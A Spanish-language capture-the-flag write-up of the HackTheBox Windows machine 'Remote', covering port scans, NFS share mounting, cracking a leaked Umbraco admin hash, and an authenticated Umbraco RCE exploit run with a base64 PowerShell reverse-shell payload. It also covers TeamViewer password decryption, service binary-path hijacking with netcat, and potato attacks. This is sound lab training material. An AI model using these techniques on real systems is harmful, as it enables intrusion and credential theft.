Remote
Write-up de la máquina Remote de HackTheBox.
Índice
- Introducción
- Estadísticas
- Reconocimiento
- Escaneo de host
- Enumeración
- Servicios
- Explotación
- Cracking de hash obtenido
- RCE
- Post Explotación
- Enumeración
- Escalación de privilegios
- Referencias
Introducción
Estadísticas
Característica | Descripción |
---|---|
Nombre | Remote |
OS | Windows |
Dificultad oficial | Easy |
Dificultad de comunidad | |
Puntos | 20 |
Creadores | mrb3n |
Reconocimiento
Escaneo de host
Escaneo completo de puertos
└─$ sudo nmap -sS --min-rate 5000 -vvv -open -p- -n -Pn -oG nmap/all_ports_ss $TARGET
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-02 09:05 EDT
Initiating SYN Stealth Scan at 09:05
Scanning 10.10.10.180 [65535 ports]
Discovered open port 80/tcp on 10.10.10.180
Discovered open port 111/tcp on 10.10.10.180
Discovered open port 445/tcp on 10.10.10.180
Discovered open port 135/tcp on 10.10.10.180
Discovered open port 139/tcp on 10.10.10.180
Discovered open port 21/tcp on 10.10.10.180
Discovered open port 49664/tcp on 10.10.10.180
Discovered open port 49665/tcp on 10.10.10.180
Discovered open port 5985/tcp on 10.10.10.180
Discovered open port 49667/tcp on 10.10.10.180
Discovered open port 49678/tcp on 10.10.10.180
Discovered open port 47001/tcp on 10.10.10.180
Discovered open port 49680/tcp on 10.10.10.180
Discovered open port 49666/tcp on 10.10.10.180
Discovered open port 49679/tcp on 10.10.10.180
Discovered open port 2049/tcp on 10.10.10.180
Completed SYN Stealth Scan at 09:05, 13.25s elapsed (65535 total ports)
Nmap scan report for 10.10.10.180
Host is up, received user-set (0.068s latency).
Scanned at 2022-06-02 09:05:13 EDT for 13s
Not shown: 65519 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127
111/tcp open rpcbind syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
2049/tcp open nfs syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49678/tcp open unknown syn-ack ttl 127
49679/tcp open unknown syn-ack ttl 127
49680/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds
Raw packets sent: 65924 (2.901MB) | Rcvd: 65535 (2.621MB)
Escaneo específico
└─$ nmap -sCV -p 21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 -n -Pn -oN nmap/targeted $TARGET
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-02 09:08 EDT
Nmap scan report for 10.10.10.180
Host is up (0.064s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-06-02T13:09:19
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.15 seconds
Enumeración
Servicios
http - 80
ffuf
Al navegar a través del sitio disponible y no encontrar información relevante en primera instancia, se decidió enumerar directorios de manera automática mediante:
Encontrando así el directorio umbraco
el cual no pareció común bajo el contexto del sitio.
Manual
Al navegar manualmente al directorio se visualizó un login, a lo que posteriormente se buscó información relacionada encontrando que se trataba de un sistema de gestor de contenidos (CMS).
Al buscar rutas de explotación se encontró un exploit (junto con su repositorio) el cuál para ser ejecutado se requiere contar con credenciales válidas, abriendo paso a dos consideraciones de camino a la fase de explotación:
- Realizar búsqueda de credenciales por algún sitio (preferente).
- Realizar fuerza bruta al login (siempre último recurso).
mountd - 2049
Al identificar el servicio y encontrar que se trataba de exposición de puntos de montaje a través de red, se hizo uso de showmount -e 10.10.10.180
visualizando así el montaje site_backups
.
Posteriormente, para poder navegar a través del directorio e interactuar cómodamente se creó la carpeta /mnt/remote
y se ejecutó:
Para montar ahí lo expuesto en el servidor.
Teniendo en consideración la búsqueda de credenciales, se buscaron patrones en texto claro en el punto de montaje.
Al buscar en los contenidos de los archivos señalados (los que resultaron más atractivos) se encontró en el archivo UmbracoTraceLog.intranet.txt
un usuario potencial que se utilizó para continuar con la búsqueda de información.
Utilizando lo encontrado, se procedió a hacer otra búsqueda descartando así múltiples archivos permitiendo verificar otros que con anterioridad no se revisaron.
Al ser interpretado como binario, se uso:
Para interpretar los caracteres legibles identificando así las credenciales admin@htb.local:b8be16afba8c314ad33d812f22a04991b90e2aaa
.
Explotación
Cracking de hash obtenido
Guardando el hash del usuario admin en un archivo y haciendo uso de:
Se obtuvo la contraseña admin@htb.local:baconandcheese
.
RCE
Después de validar las credenciales con el portal de umbraco y descargar el exploit previamente encontrado, se ejecutó:
Para corroborar su uso.
Haciendo uso de Reverse Shell Generator se generó una reverse shell de powershell en base64 para entablar la conexión con:
python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a '-e JABjAGwAaQBlAG4AdAAg[...]'
Post Explotación
Enumeración
Verificando los privilegios que se tienen con el usuario obtenido haciendo uso de:
Se visualizó que el privilegio SeImpersonatePrivilege
se encuentra habilitado, permitiendo su explotación haciendo uso de Rotten/JuicyPotato.
Por medio de winPEAS se encontró que el servicio de TeamViewer
se encuentra habilitado y ejecutándose. Concordando de alguna forma con el nombre de la máquina.
Posteriormente, se realizó una búsqueda sobre los exploits disponibles sobre TeamViewer encontrando los siguientes.
En donde por curiosidad se tomó en consideración la exposición de credenciales y búscando más información al respecto se encontró el módulo de metasploit windows/gather/credentials/teamviewer_passwords
y un repositorio en conjunto con su artículo en donde se realiza una PoC para descifrar las credenciales alojadas en registros de Windows.
También dentro de la salida de winPEAS
se visualiza que se cuenta con acceso completo al servicio UsoSvc
, lo que permitiría modificar las opciones del servicio y detener o iniciar su ejecución.
Escalación de privilegios
iis apppool → nt authority system
TeamViewer
Al subir el script de powershell a la máquina, cargarlo como módulo en la sesión con Import-Module
y ejecutar la función de extración Get-TeamViewPasswords
, se descifró la contraseña !R3m0te!
.
El mismo proceso puede ser realizado con el módulo de metasploit, sin embargo, es necesario tener una sesión abierta preferentemente de meterpreter (al tiempo que se resolvió la máquina el payload ejecutado fue windows/meterpreter_reverse_tcp
)
Probando posteriormente la contraseña con el usuario Administrator mediante:
Obteniendo así acceso como NT AUTHORITY\SYSTEM
.
Modificación de servicios
Mediante:
Se puede ver más a detalle información respecto este servicio.
Por lo que haciendo uso de:
Se buscó la modificación de la ruta del binario a ejecutar sustituyéndola con la ejecución de netcat para entablar una reverse shell. Al consultar de nuevo la información del servicio, se observa la modificación del valor.
Por consiguiente al poner la conexión a la escucha y realizar un reinicio del servicio con:
Se logró tener acceso como NT AUTHORITY\SYSTEM
satisfactoriamente.
JuicyPotato
Debido al no tener éxito al aprovecharse del privilegio ni con el uso de JuicyPotato ni con PrintSpoofer se buscó corroborar con el writeup oficial, el cuál indica que debería ser válido el método, sin embargo, no se logró satisfactoriamente.